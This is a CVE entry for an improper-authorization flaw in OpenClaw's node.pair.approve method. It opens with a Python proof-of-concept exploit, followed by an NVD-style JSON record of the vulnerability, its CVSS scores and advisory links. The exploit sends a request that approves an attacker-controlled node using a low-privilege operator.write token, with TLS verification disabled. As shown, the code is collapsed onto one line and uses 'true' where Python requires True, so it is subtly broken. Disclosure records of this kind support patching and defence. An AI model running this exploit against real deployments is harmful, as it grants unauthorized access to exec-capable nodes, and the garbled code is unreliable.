CVE-2026-42426

import requests # Target URL of the vulnerable OpenClaw instance target_url = "https://<target-host>/api/v1/node.pair.approve" # Authorization token with 'operator.write' scope (Low Privilege) # This token should not be able to approve pairing, but due to the vuln it can. bearer_token = "Bearer <operator_write_token>" headers = { "Authorization": bearer_token, "Content-Type": "application/json" } # Malicious node ID to be approved payload = { "node_id": "attacker_controlled_node", "approve": true } try: # Send request to approve the node pairing response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit Successful! Node approved via operator.write scope.") else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-42426", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:46.360", "lastModified": "2026-04-30T14:05:07.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.8 contains an improper authorization vulnerability where the node.pair.approve method accepts operator.write scope instead of the narrower operator.pairing scope, allowing unprivileged users to approve node pairing. Attackers with operator.write permissions can bypass pairing approval restrictions to gain unauthorized access to exec-capable nodes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.8", "matchCriteriaId": "37A0977C-2C03-4821-B459-0FD7E4A6635A"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-67mf-f936-ppxf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-improper-authorization-in-node-pair-approve-via-operator-write-scope", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}